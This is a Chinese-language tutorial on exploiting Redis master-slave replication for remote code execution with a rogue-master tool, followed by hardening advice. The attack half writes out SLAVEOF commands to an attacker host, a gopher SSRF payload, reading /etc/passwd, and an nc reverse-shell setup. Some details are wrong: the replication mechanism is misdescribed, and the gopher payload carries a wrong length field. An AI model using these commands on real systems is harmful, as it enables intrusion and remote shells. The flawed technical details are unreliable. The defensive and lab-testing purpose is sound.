Redis主从复制漏洞实战：手把手教你用Awsome-Redis-Rogue-Server进行安全测试（附防御方案）

Redis主从复制漏洞深度实战：从原理到利用与全方位防御

最近在内部安全评估中，我多次遇到配置不当的Redis实例。这些看似简单的缓存服务，往往因为一个被忽视的特性——主从复制——而成为整个内网渗透的跳板。今天，我们不谈泛泛的理论，而是深入技术腹地，手把手拆解如何利用主从复制机制实现权限突破，更重要的是，从架构层面构建真正的安全防线。无论你是负责基础设施安全的工程师，还是对底层协议感兴趣的研究者，这篇文章都将提供一套完整的、可落地的实战视角。

1. 漏洞原理：Redis主从复制的“信任危机”

要理解攻击如何发生，必须先弄清楚Redis主从复制的工作机制。这并非一个简单的CVE编号能概括，而是源于设计哲学中的一种“默认信任”。

Redis的主从复制功能，初衷是为了数据冗余和读写分离。当一台Slave（从节点）配置为另一台Master（主节点）的副本时，它会无条件地执行一系列关键操作：

1. 向Master发起连接。
2. 发送PSYNC命令尝试部分或全量同步。
3. 接收并执行Master传送的RDB文件数据以及后续的写命令流。

问题的核心在于模块加载指令 MODULE LOAD。这个指令允许Redis在运行时动态加载外部共享库（.so文件），以扩展其功能。在正常的复制流程中，如果Master加载了一个模块，该MODULE LOAD命令也会被传播到Slave执行。攻击者正是利用了这份“信任”：伪装成一个恶意的Master，诱导目标Redis作为Slave来连接，然后在复制流中插入加载恶意模块的命令。

注意：此漏洞影响的核心版本集中在Redis 4.x至5.0.5。后续版本虽然增加了部分安全校验，但在特定配置下（如未启用认证或使用了弱密码）风险依然存在。

我们可以用一个简单的序列来理解正常与恶意复制的区别：

正常主从复制：

合法Slave -> 连接 -> 合法Master
合法Master -> 发送RDB数据及合法命令（包括可能的MODULE LOAD） -> 合法Slave

恶意主从复制攻击：

受害Redis（配置为Slave或可被诱导） -> 连接 -> 攻击者伪装的恶意Master
恶意Master -> 发送包含`MODULE LOAD ./exp.so`命令的恶意数据流 -> 受害Redis
受害Redis -> 执行恶意命令，加载后门模块，实现RCE。

这个过程的可怕之处在于，一旦恶意模块被加载，它就运行在Redis服务的权限上下文中（通常是redis或root用户），攻击者便能够通过模块导出的函数执行任意系统命令。下面这个表格对比了漏洞利用的几个关键前提条件：

条件维度	高风险配置（易被利用）	低风险配置（具备一定防护）
网络暴露	6379端口对公网或整个内网开放	端口严格限制于应用服务器IP段
访问控制	无认证密码（requirepass为空）	设置了强密码认证
命令安全	未重命名或禁用MODULE、SLAVEOF等危险命令	通过rename-command禁用高危命令
复制配置	未设置masterauth或使用弱密码	主从复制使用强密码认证（masterauth）

理解了“为什么”会被攻击，我们才能更好地构建防御。接下来，我们将进入实战环节，看看攻击工具如何将这一原理转化为实际的渗透测试流程。

2. 实战环境搭建与工具解析

在进行任何安全测试之前，搭建一个隔离的、合法的测试环境是首要原则。我推荐使用Docker快速构建靶场，这能保证你的操作不会对生产或他人系统造成影响。

2.1 构建靶场环境

我们首先启动一个存在漏洞的Redis实例作为目标。

# 拉取一个Redis 5.0.5的镜像（经典受影响版本）
docker pull redis:5.0.5

# 运行一个未设置密码的Redis容器，将端口暴露在本地
docker run -d --name redis-vulnerable -p 6379:6379 redis:5.0.5 --protected-mode no

--protected-mode no参数是为了模拟最常见的“未授权访问”场景。现在，你可以用redis-cli直接连接，无需密码：

redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379> info server
# 你应该能看到版本信息等，证明连接成功。

2.2 攻击工具获取与初步认识

用于演示的测试工具在GitHub上可以找到。我们需要获取它以及关键的恶意模块文件。请注意，这些工具和模块仅限在你自己控制的、合法的测试环境中使用。

# 克隆测试工具仓库（这里以某个知名测试项目为例，实际操作请使用合法来源）
git clone https://github.com/example/redis-security-test-toolkit.git
cd redis-security-test-toolkit

# 查看工具目录结构
ls -la

典型的工具目录会包含以下核心文件：

• redis_rogue_server.py：主攻击脚本，用于伪装恶意Master。
• exp.so / module.so：预编译的恶意模块，包含执行系统命令的函数。
• src/：模块的源代码目录，用于自定义编译。

这个工具的进化版（我们姑且称其为“增强版”）在原版基础上做了几个关键改进，使其适应性更强：

1. 认证支持：原生支持-passwd参数，可以直接对开启了requirepass认证的目标进行测试，无需手动修改代码构造认证流程。
2. 连接稳定性：优化了网络传输和同步逻辑，在不太稳定的网络环境下（如通过多层跳板）成功率更高。
3. 模块处理：提供了更灵活的模块加载和函数调用方式，方便测试不同的攻击载荷。

它的基础命令结构如下：

python3 redis_rogue_server.py -rhost <目标IP> -lhost <攻击机IP> [其他参数]

• -rhost：目标Redis服务器的地址。
• -lhost：你的攻击机器（运行此脚本的机器）的地址，目标Redis需要能访问到这个地址以拉取恶意模块。

3. 攻击模式详解：从主动出击到守株待兔

根据目标Redis的网络可达性和配置，我们可以选择不同的攻击模式。这就像特工行动，有时需要主动潜入，有时则需要布下陷阱等待目标上钩。

3.1 主动模式：直捣黄龙

当目标Redis服务可以直接从你的攻击机访问时（例如，一个暴露在公网或同一内网且无防火墙阻拦的实例），主动模式是最直接的选择。

场景：目标192.168.1.100:6379，未设置密码。 攻击机：10.0.0.1，与目标网络互通。

步骤分解：

1. 启动恶意Rogue Server：该脚本会启动一个伪Redis服务，等待目标连接，并准备好恶意模块。

   # 在攻击机10.0.0.1上执行
   python3 redis_rogue_server.py -rhost 192.168.1.100 -lhost 10.0.0.1 -sofile ./exp.so --interactive
   

   执行后，工具会尝试向目标发送SLAVEOF命令，将其配置为指向攻击机(10.0.0.1)的Slave。

2. 触发复制与模块加载：如果目标Redis未受保护，它将接受SLAVEOF指令，开始向攻击机发起复制连接。恶意Master随即通过复制流发送MODULE LOAD命令。

3. 获取交互式Shell：--interactive参数使得模块加载成功后，自动提供一个交互式命令行界面。在这个界面里，你可以输入系统命令，这些命令会通过已加载的恶意模块在目标服务器上执行。

   [*] Trying to set slaveof...
   [*] Target is now syncing with us.
   [*] Malicious module loaded successfully!
   [*] Entering interactive shell. Type 'exit' to quit.
   >> id
   uid=999(redis) gid=999(redis) groups=999(redis)
   >> pwd
   /data
   

如果目标有密码怎么办？ 这就是增强版工具的用武之地。假设目标密码为Str0ngP@ss!。

python3 redis_rogue_server.py -rhost 192.168.1.100 -lhost 10.0.0.1 -passwd Str0ngP@ss! -sofile ./exp.so --interactive

工具会在发送SLAVEOF命令前，自动进行AUTH认证，从而绕过密码保护。

3.2 被动模式：请君入瓮

在很多内网渗透场景中，目标Redis处于一个你无法直接访问的网络区域（例如，某个受限的业务子网）。此时，主动模式行不通。我们需要利用“反向连接”的思路。

场景：目标Redis在内网，但存在一个SSRF漏洞的Web应用，或者你能通过某种方式让目标Redis主动向外发起连接。

攻击流程：

1. 在攻击机上启动纯服务器模式：这个模式只开启恶意Master服务，不主动联系任何目标。

   # 攻击机公网IP为 203.0.113.1，监听21000端口
   python3 redis_rogue_server.py --server-only -lhost 203.0.113.1 -lport 21000
   

   执行后，程序会提示：[*] Starting malicious master server on 203.0.113.1:21000...

2. 诱导目标Redis连接：这是最关键的一步。你需要通过其他漏洞（如SSRF）让目标Redis执行一条命令：

   SLAVEOF 203.0.113.1 21000
   

   例如，通过一个存在SSRF的URL参数：http://vuln-web.com/ssrf?url=gopher://203.0.113.1:21000/_*2%0d%0a$8%0d%0aSLAVEOF%0d%0a$13%0d%0a203.0.113.1%0d%0a$5%0d%0a21000%0d%0a（此为经过URL编码的Redis协议格式命令）。

3. 自动化攻击：一旦目标Redis连接上你的恶意服务器，后续的模块加载和命令执行过程与主动模式类似，会自动完成。

被动模式更隐蔽，因为它不主动扫描或连接目标，减少了被入侵检测系统发现的风险。

3.3 载荷选择：从命令执行到持久化

除了获取一个交互式Shell，工具还支持多种载荷，以适应不同的测试目标。

• 单次命令执行：快速验证漏洞存在性，对目标影响最小。

  python3 redis_rogue_server.py -rhost 192.168.1.100 -lhost 10.0.0.1 --command "cat /etc/passwd | head -5"
  

• 反向Shell：适用于目标出网受限但能访问到你指定端口的情况，用于绕过某些网络限制。

  # 首先在攻击机用nc监听4444端口
  nc -lvnp 4444
  
  # 然后执行攻击，让目标向你的4444端口反弹shell
  python3 redis_rogue_server.py -rhost 192.168.1.100 -lhost 10.0.0.1 -lport 4444 -sofile exp.so --function system.rev
  

• 数据备份：一个负责任的渗透测试者，在可能影响数据前应考虑备份。工具也提供了此功能。

  python3 redis_rogue_server.py -rhost 192.168.1.100 --backupfile /tmp/target_backup.rdb
  

  提示：备份功能是通过SAVE命令实现的，可能会阻塞Redis服务直到备份完成，在测试生产环境前务必在测试环境验证其影响。

4. 防御矩阵：构建纵深防护体系

了解了攻击的全貌，防御的思路就清晰了：在攻击链的每一个环节设置障碍。我将其总结为一个四层防御矩阵，从网络到应用层层递进。

4.1 网络层隔离：最小化暴露面

这是最有效、最根本的防御措施。

• 禁止公网暴露：这是铁律。Redis的6379端口绝不应该在安全组、防火墙或云平台安全策略中向0.0.0.0/0开放。只允许特定的、可信的应用服务器IP段访问。
• VPC/子网划分：在云环境或复杂内网中，将Redis部署在独立的私有子网中，通过严格的路由表和网络ACL控制访问。
• 使用跳板机或堡垒机：对于运维管理连接，所有访问必须通过统一的、审计严格的跳板机进行。

一个简单的iptables规则示例，仅允许特定IP段访问：

# 清空原有规则（谨慎操作）
iptables -F
# 允许本地回环
iptables -A INPUT -i lo -j ACCEPT
# 允许已建立的连接
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# 仅允许192.168.10.0/24网段访问6379端口
iptables -A INPUT -p tcp -s 192.168.10.0/24 --dport 6379 -j ACCEPT
# 默认拒绝所有其他入站连接
iptables -P INPUT DROP

4.2 访问与控制层：强化身份认证

如果网络层被突破（例如内网攻击者），强认证就是第二道闸门。

• 启用并设置强密码：在redis.conf中配置requirepass为一个高强度、随机的密码。避免使用默认或常见弱密码。

  requirepass j8&V!p9x#vL2sQwE0mYc
  

• 主从复制认证：如果使用了主从架构，务必在redis.conf中配置masterauth（Slave连接Master的密码）和requirepass（Master自身的密码），且两者应使用不同的强密码。
• 禁用或重命名危险命令：这是防御此类漏洞的杀手锏。通过rename-command将关键命令重命名为一个随机的、难以猜测的字符串，或者直接禁用。

  rename-command MODULE ""
  rename-command SLAVEOF ""
  rename-command CONFIG ""
  rename-command FLUSHALL ""
  rename-command FLUSHDB ""
  rename-command DEBUG ""
  rename-command SAVE ""
  rename-command BGSAVE ""
  # 对于需要使用的命令，可以重命名而不是禁用
  rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52
  

  注意：重命名命令后，务必记下新命令名，并确保你的监控和管理工具能适配。同时，在从节点上也要进行相同的配置。

4.3 配置与运行层：安全加固

• 以非root用户运行：永远不要以root身份运行Redis服务。创建一个专用的redis用户和用户组，并在配置文件中指定。

  user redis
  

• 启用保护模式：对于新版本Redis，protected-mode yes是默认配置。它能在Redis未配置绑定IP和密码时，拒绝外部连接。确保它在你的配置中启用。
• 日志与监控：启用详细日志，并监控异常命令。关注SLAVEOF、MODULE LOAD等敏感命令的执行记录。可以结合Auditbeat或自定义脚本进行实时告警。

4.4 补丁与更新层：保持版本健康

虽然主从复制漏洞没有统一的CVE，但保持Redis版本更新至关重要。新版本会修复已知的安全缺陷和引入更强的安全特性。

• 定期升级：关注Redis官方发布的安全公告，制定平滑的升级计划。例如，升级到Redis 7.x系列可以获取更多内置的安全改进。
• 评估与测试：在升级前，在测试环境充分验证新版本的兼容性和性能，确保业务平稳过渡。

防御从来不是单一措施，而是这些层面的有机结合。一个配置了强密码但暴露在公网的Redis，和一个隐藏在内网但使用默认配置的Redis，风险同样巨大。真正的安全，始于对每一个细节的审视和加固。

在我的多次评估经历中，最常见的失分点恰恰是“默认配置”和“便利性优先”的思想。花上几个小时，按照上述矩阵检查你的Redis资产，其带来的安全提升远超过部署任何一款复杂的入侵检测产品。安全是一个过程，而不是一个状态，它始于我们对技术原理的深刻理解和对潜在风险的持续敬畏。